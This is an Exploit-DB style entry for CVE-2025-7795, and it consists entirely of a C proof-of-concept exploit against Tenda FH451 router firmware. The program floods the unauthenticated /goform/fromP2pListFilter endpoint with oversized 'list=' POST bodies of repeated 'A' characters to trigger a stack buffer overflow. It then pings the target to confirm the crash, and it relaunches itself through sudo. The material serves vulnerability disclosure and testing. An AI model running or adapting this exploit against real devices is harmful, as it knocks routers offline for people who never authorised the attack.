Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow

EDB-ID:

52374




Platform:

Multiple

Date:

2025-07-22


/*
 * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
 * Author        : Byte Reaper
 * Telegram      : @ByteReaper0
 * CVE           : CVE-2025-7795
 * Vulnerability : Buffer Overflow
 * Description   :
 *   A buffer overflow vulnerability affecting certain Tenda routers,
 *   exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "argparse.h"
#include <arpa/inet.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <sys/wait.h>

#define FULL_URL 2500
#define POST_DATA 10000

const char *targetUrl = NULL;
const char *targetip = NULL;
int selectIp  = 0;
int selectUrl  = 0;
int verbose = 0;
int showOne = 0;
char postData[POST_DATA];

struct Mem
{
    char *buffer;
    size_t len;
};

size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (!tmp) return 0;
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

void pingPacket()
{
    int pid = fork();
    printf("\n============================================== [Ping] ==============================================\n");
    if (pid < 0)
    {
        perror("\e[1;31m[-] Fork Failed!\e[0m");
        exit(1);
    }
    if (pid == 0)
    {
        printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n",
               getpid());
        char *const argv[] = { "/bin/ping",
            "-c",
            "3",
            (char *)targetip,
            NULL };
            char *const envp[] = { NULL };
            __asm__ volatile
            (
                "mov $59, %%rax\n\t"
                "mov %[prog], %%rdi\n\t"
                "mov %[argv], %%rsi\n\t"
                "mov %[envp], %%rdx\n\t"
                "syscall\n\t"
                "mov $60, %%rax\n\t"
                "xor %%rdi, %%rdi\n\t"
                "syscall\n\t"
                :
                : [prog] "r" (argv[0]),
             [argv] "r" (argv),
             [envp] "r" (envp)
             : "rax", "rdi", "rsi", "rdx"
            );
    }
    else
    {
        printf("\e[1;32m[+] Main PID : %d\e[0m\n",
               getpid());
        int status;
        waitpid(pid,
                &status,
                0);
        if (WIFEXITED(status))
        {
            int code = WEXITSTATUS(status);
            printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n",
                   code);
            if (code == 0)
            {
                printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n");
                printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m");
            }
            else
            {
                printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n");
                printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n");
            }
        }
    }
    printf("\n============================================================================================\e[0m\n");
}

void sendRequest()
{
    CURL *c = curl_easy_init();
    CURLcode res;
    char full[FULL_URL];
    struct Mem response = {NULL, 0};
    if (!c) {
        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
        exit(EXIT_FAILURE);
    }
    if (targetip) selectIp = 1;
    if (targetUrl) selectUrl = 1;
    if (selectIp)
    {
        snprintf(full,
                 sizeof(full),
                 "http://%s/goform/fromP2pListFilter",
                 targetip);
    }
    if (selectUrl)
    {
        snprintf(full,
                 sizeof(full),
                 "%s/goform/fromP2pListFilter",
                 targetUrl);
    }
    int rounds = 5;
    int baseLen = 3500, step = 1000;
    showOne = 1;
    for (int i = 0; i < rounds; i++)
    {
        int len = baseLen + i * step;
        if (len + 6 >= sizeof(postData)) break;
        snprintf(postData, sizeof(postData), "list=");
        memset(postData + 5, 'A', len);
        postData[5 + len] = '\0';
        printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n",
               i+1,
               i+1,
               len);
        if (verbose)
        {
            printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n");
            printf("%s\e[0m\n\n", postData);
            printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n");
        }

        curl_easy_reset(c);
        curl_easy_setopt(c,
                         CURLOPT_URL,
                         full);
        curl_easy_setopt(c,
                         CURLOPT_ACCEPT_ENCODING,
                         "");
        curl_easy_setopt(c,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        curl_easy_setopt(c,
                         CURLOPT_POST,
                         1L);
        curl_easy_setopt(c,
                         CURLOPT_POSTFIELDS,
                         postData);
        curl_easy_setopt(c,
                         CURLOPT_POSTFIELDSIZE,
                         (long)strlen(postData));
        curl_easy_setopt(c,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        curl_easy_setopt(c,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(c,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        curl_easy_setopt(c,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(c,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(c,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        struct curl_slist *h = NULL;
        h = curl_slist_append(h,
                              "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        h = curl_slist_append(h,
                              "Accept-Encoding: gzip, deflate, br");
        h = curl_slist_append(h,
                              "Accept-Language: en-US,en;q=0.5");
        h = curl_slist_append(h,
                              "Connection: keep-alive");
        h = curl_slist_append(h,
                              "Referer: http://example.com");
        h = curl_slist_append(h,
                              "Cache-Control: no-cache");
        h = curl_slist_append(h,
                              "Pragma: no-cache");
        curl_easy_setopt(c, CURLOPT_HTTPHEADER, h);
        if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L);

        char *encode1 = curl_easy_escape(c, full, 0);
        if (!encode1)
        {
            printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n");
            exit(EXIT_FAILURE);
        }
        if (verbose && showOne)
        {
            printf("\e[1;37m=========================================");
            if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n",
                targetUrl,
                encode1,
                full);
            if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n",
                targetip,
                full);
            printf("=========================================");
            showOne = 0;
        }
        res = curl_easy_perform(c);
        curl_slist_free_all(h);
        curl_free(encode1);
        if (response.buffer)
        {
            free(response.buffer);
            response.buffer = NULL;
            response.len = 0;
        }
        if (res == CURLE_OK)
        {
            long httpCode = 0;
            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
            curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE,
                              &httpCode);
            printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n",
                   httpCode);
            if (httpCode >= 200 && httpCode < 300)
            {
                printf("\e[1;31m[-] The server was not affected, still working !\n");
                printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n");
                printf("%s\e[0m\n",
                       response.buffer);
                printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n");
            }
            else
            {
                printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n");
                printf("[+] Run Command Ping For Check Connection : \e[0m\n");
                if (selectIp) pingPacket();
                else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n");
            }
        }
        else
        {
            printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n");
            printf("[-] Error : %s\n", curl_easy_strerror(res));
        }
    }
    free(response.buffer);
    curl_easy_cleanup(c);
}

int main(int argc,
         const char **argv)
{
    printf(
        "\e[1;31m"
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▄▖▄▖▄▖ \n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌   ▌ ▌▄▌▄▌ \n"
        "              \e[1;37mByte Reaper\e[0m\n"
    );
    printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
    if (getuid() != 0)
    {
        printf("===================================================\e[0m\n");
        printf("[-] Not running as root. Trying with sudo...\e[0m\n");

        char *args[] = {(char*)"sudo",
            (char*)"./exploit",
            NULL};
            execvp("sudo", args);

            perror("[-] Error Run Exploit in Root !");
            __asm__ volatile
            (
                "mov $0x3C, %%rax\n\t"
                "xor %%rdi, %%rdi\n\t"
                "syscall\n\t"
                :
                :
                : "rdi"
            );
    }
    printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n");
    printf("===================================================\e[0m\n");

    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                  "ip",
                   &targetip,
                   "Enter Target IP"),
        OPT_STRING('u',
                    "url",
                    &targetUrl,
                    "Enter Target URL"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_END(),
    };

    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);
    argparse_parse(&argparse,
                   argc,
                   argv);

    if (!targetip && !targetUrl)
    {
        printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n");
        printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n");
        printf("[+] OR \n");
        printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n");
        __asm__ volatile(
            "xor %%rdi, %%rdi\n\t"
            "mov $0x3C, %%rax\n\t"
            "1:\n\t"
            "syscall\n\t"
            :
            :
            : "rax", "rdi", "rsi"
        );
    }
    if (targetip && targetUrl)
    {
        printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n");
        __asm__ volatile
        (
            "mov $0x3C, %%rax\n\t"
            "xor %%rdi, %%rdi\n\t"
            "syscall\n\t"
            :
            :
            :"rdi"
        );
    }
    if (selectIp)
    {
        sendRequest();
    }
    else
    {
        sendRequest();
    }


    return 0;
}